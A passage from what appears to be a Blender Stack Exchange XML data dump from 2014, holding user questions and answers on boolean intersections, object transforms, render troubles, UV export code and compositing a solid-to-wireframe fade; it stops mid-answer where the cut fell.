  <row Id="7946" PostTypeId="1" AcceptedAnswerId="7950" CreationDate="2014-03-22T03:19:49.830" Score="3" ViewCount="1380" Body="&lt;p&gt;Is there a simple way to make a region or new object in order to change the material properties at the intersection of two or more objects?&#xA;For example:&#xA;&lt;img src=&quot;https://encrypted-tbn1.gstatic.com/images?q=tbn%3aANd9GcSBwKX-CsRrsp__mY2pDEBL7mUAO0E8U3MZvu7f-yZmpjfWq0GM&quot; alt=&quot;2d&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://maven.smith.edu/~orourke/DTS/Sum05/WebPages/Faith/sphere-cone-intersection.gif&quot; rel=&quot;nofollow&quot;&gt;Or this, where the intersection area of interest is shown in orange and is the intersection between 3 different objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read a little about using the Boolean tool for Union, Intersection, and Difference between two objects, but when applied, it does not create a new region or object. It destroys part of the objects that are present and replaces it with the union, or whichever is chosen.&#xA;In addition, if the intersection is chosen, the resulting object is not the type of intersection shown below. The intersection given would be the plane with the bottom part of the cone sticking down for some reason.&#xA;Is there a better way to achieve the question above?&lt;/p&gt;&#xA;" OwnerUserId="2866" LastActivityDate="2014-03-22T10:24:29.400" Title="Different Color for region of intersection" Tags="&lt;vertices&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7947" PostTypeId="1" CreationDate="2014-03-22T05:08:38.463" Score="8" ViewCount="17060" Body="&lt;p&gt;When I move an object using, for example &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; it has no effect at all.&#xA;It seems like this kind of shortcut works relative to the current transformation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the same, except setting the object's global position instead?&lt;/p&gt;&#xA;" OwnerUserId="2873" LastEditorUserId="599" LastEditDate="2014-04-15T19:17:20.750" LastActivityDate="2014-04-15T19:17:20.750" Title="How to move object to a global position using hotkeys?" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7948" PostTypeId="1" CreationDate="2014-03-22T05:12:41.667" Score="1" ViewCount="2671" Body="&lt;p&gt;Well, I make Minecraft Animations and I was moving from Blender 2.69 to Blender 2.70. The version move was successful. It rendered properly n' stuff. I was playing around with nodes and render layers. After a while I took a render. and all of a sudden every thing did not render. Only the things Ia moved into the 2nd object layer which i moved back to the 1st render layer. Now what. I've been stressing, trying to fix the issue but it won't render.&#xA;I'm pretty sure that i did not do an accident of some sort but i probably did. The materials are not transparent. The camera distance is way over how far this is because I have other scenes(old copies of this new one) that still render. Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It exists in the 3D view-port but not in the render :( Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all that renders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQgH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That sucks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D view-port of what it is actually meant to look like&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4jEPY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another render&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TNmJI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is actually meant to be, with the render layers panel&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fbKzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node editor, pretty simple because i usually do the compositing after the animation is done.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JOMWa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes: When i was taking a snip of the view-port, i changed it to render view and it was all invisible. Also the image above is set on the last layer but even if i set it to the one with all the objects nothing would render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer : Everybody don't worry i found the problem, apparenttly all items were restricted to render for some reason. Not sure why. It might have been when i was playing around with the new flight system(Shift+F) i pressed (W) and accidently pressed Restrict Render Unselected. Anyways this problem has been solved, what do I do?&lt;/p&gt;&#xA;" OwnerUserId="2874" LastEditorUserId="2874" LastEditDate="2014-03-23T02:00:23.150" LastActivityDate="2014-03-23T02:00:23.150" Title="My Objects won't render" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2014-03-23T00:15:33.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="7949" PostTypeId="2" ParentId="7947" CreationDate="2014-03-22T08:05:26.183" Score="6" Body="&lt;p&gt;When moving an object you can type in measurements that are distances from the current location of the object to move. Similar options are available for scale and rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 2.70 we also have an &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Transform_Tools_Number_Input&quot; rel=&quot;noreferrer&quot;&gt;advanced input mode&lt;/a&gt; which lets us use some basic python to calculate the distance with something like sin or pi. I don't know of any access (&lt;em&gt;yet&lt;/em&gt;) to the current global location to use in this calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to set the global location of an object you need to edit the object properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rg4xt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are also available in the properties sidebar (Press &lt;kbd&gt;N&lt;/kbd&gt;) of the 3dview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rEW7W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a python console visible you could also alter the active object by typing in &lt;code&gt;C.active_object.location.x = 0.0&lt;/code&gt; or &lt;code&gt;C.active_object.rotation_euler.y = 0.0&lt;/code&gt; You can also access any object by name with &lt;code&gt;D.objects['Cube'].location.x = 0.0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C and D are predefined variables in the blender python console C = bpy.context and D = bpy.data&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-22T08:05:26.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7950" PostTypeId="2" ParentId="7946" CreationDate="2014-03-22T09:05:52.130" Score="5" Body="&lt;p&gt;The &quot;Boolean Modifier&quot; doesn´t work as expected with non-manifold meshes. When you add a plane use the &quot;Solidify Modifier&quot; first, to give it a slight thickness (e.g. 0.0001).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the plane a &quot;Boolean Modifier&quot; afterwards and set the target to the cone. Set &quot;Operation&quot; to &quot;Difference&quot;. Copy the plane with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;Esc&lt;/kbd&gt; to avoid moving the copy. For the copy set the &quot;Operation&quot; of the &quot;Boolean Modifier&quot; to &quot;Intersect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The pictures show the Modifier Tab in the Properties Panel (click the wrench icon). &lt;strong&gt;Note that the order of the modifiers in the modifier stack is important.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBvQo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0mdYW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also parent the two planes so they can be moved around together. Hold &lt;kbd&gt;Shift&lt;/kbd&gt; and select both plane objects with &lt;kbd&gt;RMB&lt;/kbd&gt;. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select &quot;Object&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards materials can be assigned on every object separatly.&#xA;You can then use Freestyle for line rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using modifiers is fast editing and your objects are easy to animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NRXg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-22T10:24:29.400" LastActivityDate="2014-03-22T10:24:29.400" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7951" PostTypeId="1" AcceptedAnswerId="7953" CreationDate="2014-03-22T09:57:05.597" Score="2" ViewCount="276" Body="&lt;p&gt;I'm trying to write my own export script, and I'm not sure how to reference the uv coordinates as an element array, similar to how .obj format works (ie. you have a list of all uv coordinates &quot;vt s t&quot; and each face selects the correct index). I looked at previous threads on similar things, but there doesn't seem to be anything similar to my issue. Do I need to hash all uv coordinates and compute the index for each face myself? Or is there a built-in way to do this? How does the .obj exporter work? Also, for further reference, is it possible to see the python source for the .obj exporter?&lt;/p&gt;&#xA;" OwnerUserId="2834" LastEditorUserId="2834" LastEditDate="2014-03-22T10:38:52.987" LastActivityDate="2014-03-22T10:38:52.987" Title="Exporting UV coordinates by face elements" Tags="&lt;python&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7952" PostTypeId="2" ParentId="7919" CreationDate="2014-03-22T10:05:06.480" Score="9" Body="&lt;h2&gt;&lt;strong&gt;How to make a Procedural River&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Curve Modifier&lt;/strong&gt; can deform an object so that it conforms to the shape of a curve object. Note that the curve object &lt;em&gt;must&lt;/em&gt; be a curve, not a mesh.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;For this technique, your river should be a long straight plane, about the width and length you want the river to be:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Mesh -&gt; Plane -&gt; &lt;kbd&gt;S&lt;/kbd&gt; -&gt; &lt;kbd&gt;X&lt;/kbd&gt; -&gt; drag the mouse until the plane is as long as you want it to be&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For this technique to be easy, don't move the river away from the 3D cursor  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the location, rotation and scale of the river have been applied if they have been changed:&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the river -&gt; &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Apply Location  &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; again -&gt; Apply Rotation &amp;amp; Scale   &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the Origin of the river object is in it's middle. You can put the Origin there like this:&lt;br&gt;&#xA;Tools panel (&lt;kbd&gt;T&lt;/kbd&gt;) -&gt; Tools tab -&gt; Edit section -&gt; Set Origin -&gt; Origin to Geometry  &lt;/li&gt;&#xA;&lt;li&gt;Now make sure the river mesh has enough subdivisions so that it can deform to the shape you want the river to be. If the river plane doesn't have enough subdivisions, it will not be able to bend to conform to the path we're going to create soon:&lt;br&gt;&#xA;Select the river -&gt; Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;) -&gt; Tools panel -&gt; Tools tab -&gt; Add section -&gt; click Subdivide maybe 4 or 5 times -&gt; exit Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Now add a path curve:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Path  &lt;/li&gt;&#xA;&lt;li&gt;Scale (&lt;kbd&gt;S&lt;/kbd&gt;) the path to be the length of the river  &lt;/li&gt;&#xA;&lt;li&gt;Select the path curve and go into Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)  &lt;/li&gt;&#xA;&lt;li&gt;Make the path approximately the shape you want your river to be, then exit Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)  &lt;/li&gt;&#xA;&lt;li&gt;Select the river object, then:&lt;br&gt;&#xA;Properties panel -&gt; Modifiers -&gt; Add Modifier -&gt; Curve (under the Deform header)  &lt;/li&gt;&#xA;&lt;li&gt;Now on the Curve modifier's properties:&lt;br&gt;&#xA;Object -&gt; select the path curve you made for the river (it will be called NurbsPath unless you changed it's name)   &lt;/li&gt;&#xA;&lt;li&gt;The river should now conform to the shape of the path curve&lt;/li&gt;&#xA;&lt;li&gt;To change the position of the river along the path, translate/slide it along the X axis:&lt;br&gt;&#xA;Select river plane -&gt; Grab (&lt;kbd&gt;G&lt;/kbd&gt;) -&gt; &lt;kbd&gt;X&lt;/kbd&gt; -&gt; drag&lt;br&gt;&#xA;Note: you can animate the position of the plane along the curve if you want  &lt;/li&gt;&#xA;&lt;li&gt;To position the river on your landscape, select both the river &amp;amp; the path curve and move them together. You &lt;strong&gt;MUST&lt;/strong&gt; move them together at the same time otherwise they will get separated and behave oddly. If you accidentally get the plane and the path separated, do this:&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the path -&gt; &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Selection to cursor  &lt;/li&gt;&#xA;&lt;li&gt;Select the river plane -&gt; &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Selection to cursor  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you want to change anything about the river's width or length, just select it, go into Edit mode and change it  &lt;/li&gt;&#xA;&lt;li&gt;If the river is not smooth enough, you can increase the number of subdivisions in Edit mode, as listed above  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to change the path of the river, select the path curve and edit it&lt;br&gt;&#xA;(Note: you can subdivide the path just like you subdivided the river plane:&lt;br&gt;&#xA;Select the path curve -&gt; &lt;kbd&gt;TAB&lt;/kbd&gt; -&gt; Tools panel -&gt; Tools tab -&gt; Add section -&gt; Subdivide)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To get the river to conform properly to your landscape, you can now edit the shape of the plane if you want, and then you can also edit the shape of the path  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-23T11:42:55.553" LastActivityDate="2014-04-23T11:42:55.553" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7953" PostTypeId="2" ParentId="7951" CreationDate="2014-03-22T10:38:21.057" Score="1" Body="&lt;p&gt;I found the .obj export source in /usr/share/blender It's probably different on your computer, the best place to see where you can find it is to go into user preference under Addons. It seems like the official exporter just creates a hash map of uv coordinates. This seems to be where the magic happens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Make our own list so it can be sorted to reduce context switching&#xA;    face_index_pairs = [(face, index) for index, face in enumerate(me.polygons)]&#xA;        uv = f_index = uv_index = uv_key = uv_val = uv_ls = None&#xA;&#xA;        uv_face_mapping = [None] * len(face_index_pairs)&#xA;&#xA;        uv_dict = {}&#xA;        uv_get = uv_dict.get&#xA;        for f, f_index in face_index_pairs:&#xA;            uv_ls = uv_face_mapping[f_index] = []&#xA;            for uv_index, l_index in enumerate(f.loop_indices):&#xA;                uv = uv_layer[l_index].uv&#xA;                uv_key = veckey2d(uv)&#xA;                uv_val = uv_get(uv_key)&#xA;                if uv_val is None:&#xA;                    uv_val = uv_dict[uv_key] = uv_unique_count&#xA;                    fw('vt %.6f %.6f\n' % uv[:])&#xA;                    uv_unique_count += 1&#xA;                uv_ls.append(uv_val)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I answered my own question, should this be deleted? I feel like this has some value to other people who may want to do something similar, as this is a specific and non-trivial task.&lt;/p&gt;&#xA;" OwnerUserId="2834" LastActivityDate="2014-03-22T10:38:21.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7954" PostTypeId="1" AcceptedAnswerId="7956" CreationDate="2014-03-22T13:04:21.750" Score="5" ViewCount="1525" Body="&lt;p&gt;I'm trying to fade an object's regular solid surface into its wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got as far as duplicating the object and deleting vertices until I'm left with an area of overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0B33Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to render this in such a way that there is a smooth transition at the area of overlap? Maybe there is a better way to achieve this effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GlcnC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-03-22T15:04:46.540" LastActivityDate="2014-03-23T02:19:45.520" Title="Transitioning the overlap of multiple objects" Tags="&lt;mesh&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7955" PostTypeId="1" CreationDate="2014-03-22T14:10:09.677" Score="3" ViewCount="194" Body="&lt;p&gt;I recently  attempted to make an animation which shows a series of cubes hitting and bouncing off a pinned sheet, where the cubes can also interact and bounce off each other. For the pinned sheet both collision &amp;amp; cloth settings are enabled. The cubes all have collision, cloth, rigid body and rigid body constraint settings enabled (I just fiddled around until they interacted with both the sheet and each other).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway it all starts off very well, until about 00:07 when one of the cubes totally flips out and deforms in a very strange way... The other cubes then get a bit confused, stop falling and just hang in mid-air, whilst the cloth has a freak out and wraps itself around the stationary cubes. Can anyone think of a reason why this happens? Is it my settings, or is it a bug in Blender? Has anyone else had the same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the animation to my blog here:&#xA;&lt;a href=&quot;http://variabledimensions.tumblr.com/post/80251427750/cubefa-i-ll-more-experiments-with-blender-cubes&quot; rel=&quot;nofollow&quot;&gt;http://variabledimensions.tumblr.com/post/80251427750/cubefa-i-ll-more-experiments-with-blender-cubes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2876" LastActivityDate="2014-03-22T14:10:09.677" Title="Odd geometry deformations with cloth objects" Tags="&lt;cloth-simulation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-03T00:04:07.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="7956" PostTypeId="2" ParentId="7954" CreationDate="2014-03-22T14:20:24.893" Score="5" Body="&lt;p&gt;You can do this using the compositor and different scenes. This method uses three scenes: one for the regular shaded sphere, one for the wireframe and one that we will use as a factor input to blend between the two. Maybe there are better ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am assuming you have you scene set up with a sphere, plane, and the lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PH3fQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename the current scene to something like &lt;em&gt;sphere_shaded&lt;/em&gt; to be able to differentiate it better form the other we will create&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aw07L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;em&gt;Full Copy&lt;/em&gt; of the scene and rename it to something like &lt;em&gt;sphere_wireframe&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GIdpT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are in the &lt;em&gt;sphere_wireframe&lt;/em&gt; scene: Select the sphere and add a &lt;em&gt;Wireframe&lt;/em&gt; Modifier to it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UfIIO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go back to the &lt;em&gt;sphere_shaded&lt;/em&gt; scene and create another &lt;em&gt;Full Copy&lt;/em&gt;, let's call it &lt;em&gt;sphere_fac&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;sphere_fac&lt;/em&gt; scene delete everything besides the sphere and the camera&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the the same scene add a lamp, I will chose an area lamp but any other will do&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the background of the scene to black&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go the &lt;em&gt;World Panel&lt;/em&gt; -&gt; &lt;em&gt;Surface&lt;/em&gt; -&gt; &lt;em&gt;Color&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b7zfz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the light so that half of the sphere visible to the camera is getting light and the other half is in the shadows.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To make this task easier you can got into the camera view and turn and set the viewport type to rendered&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PICua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render out all scenes, &lt;kbd&gt;F12&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to the &lt;em&gt;Node Editor&lt;/em&gt; and switch to the compositing nodes. Enable &lt;em&gt;use nodes&lt;/em&gt; and &lt;em&gt;backrdrop&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CSVli.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLIWR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add in the other render scenes&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By default there should be one render scene already in the node view, duplicate it and form the name drop down choose the others.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xMdzc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Color&lt;/em&gt; -&gt; &lt;em&gt;Mix&lt;/em&gt; node&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fac: plug in &lt;em&gt;sphere_fac&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image: &lt;em&gt;sphere_shaded&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image: &lt;em&gt;sphere_wireframe&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6cjYL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To get more control over the transition you can adjust the &lt;em&gt;sphere_fac&lt;/em&gt; node a bit&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;RGB curves: good control, a little overkill I think for this&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Brightness/Contrast: to simple&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Color Ramp: simple, enough control&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will use a Color Ramp in this case: &lt;em&gt;Converter&lt;/em&gt; -&gt; &lt;em&gt;Color Ramp&lt;/em&gt; adjust the two slider on either side to your liking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slIzQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Final Result&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xxu6L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Same technique with a point lamp&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TIN1V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-22T16:05:26.933" LastActivityDate="2014-03-22T16:05:26.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7957" PostTypeId="2" ParentId="7954" CreationDate="2014-03-22T14:40:46.090" Score="4" Body="&lt;p&gt;You can achieve the same effect with the following material setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oeo4l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detail of node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/opXn8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the blur to conform to the shape of the hole, put a black and white UV/image texture node in the factor slot of your mix shader instead. You will have to paint the texture yourself with texture painting or in photoshop, but once you have it UV mapped onto your object, it will achieve the effect you're looking for (I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this, it tells you how to use an image mask as a mix factor for a material in cycles:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/516/add-different-materials-to-different-parts-of-a-mesh/748#748&quot;&gt;Add different materials to different parts of a mesh?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-03-22T16:57:46.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7958" PostTypeId="1" CreationDate="2014-03-22T15:21:46.547" Score="2" ViewCount="462" Body="&lt;p&gt;while I am trying to copy a object (with nodes) (e.g. cube) to another blend file. The object that I am trying to copy was modified with nodes and I can't copy the object with nodes or manually copy the nodes. Can anyone tell me how to copy the object with nodes and other properties? Or copy the object to another blend file with all of it's modifiers and stuffs. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2403" LastActivityDate="2014-03-22T17:51:39.337" Title="Copying objects in 3D view along with nodes and other stuffs" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7959" PostTypeId="2" ParentId="7954" CreationDate="2014-03-22T16:32:51.090" Score="7" Body="&lt;p&gt;According to what you illustrated, I would propose a non-compositing way by using modifiers only:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter &lt;strong&gt;Edit Mode&lt;/strong&gt;, Select one face as where the transition starts, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;strong&gt;Cursor to Selected&lt;/strong&gt; to snap cursor to that face;&lt;/li&gt;&#xA;&lt;li&gt;Select all faces, press &lt;kbd&gt;Spacebar&lt;/kbd&gt; and search for &lt;strong&gt;Sort Mesh Elements&lt;/strong&gt;, choose &lt;strong&gt;Cursor Distance&lt;/strong&gt; in the popup menu, press &lt;kbd&gt;F6&lt;/kbd&gt; and toggle &lt;em&gt;Reverse&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Create a duplication for the original object, repeat the last two steps on it, just leave 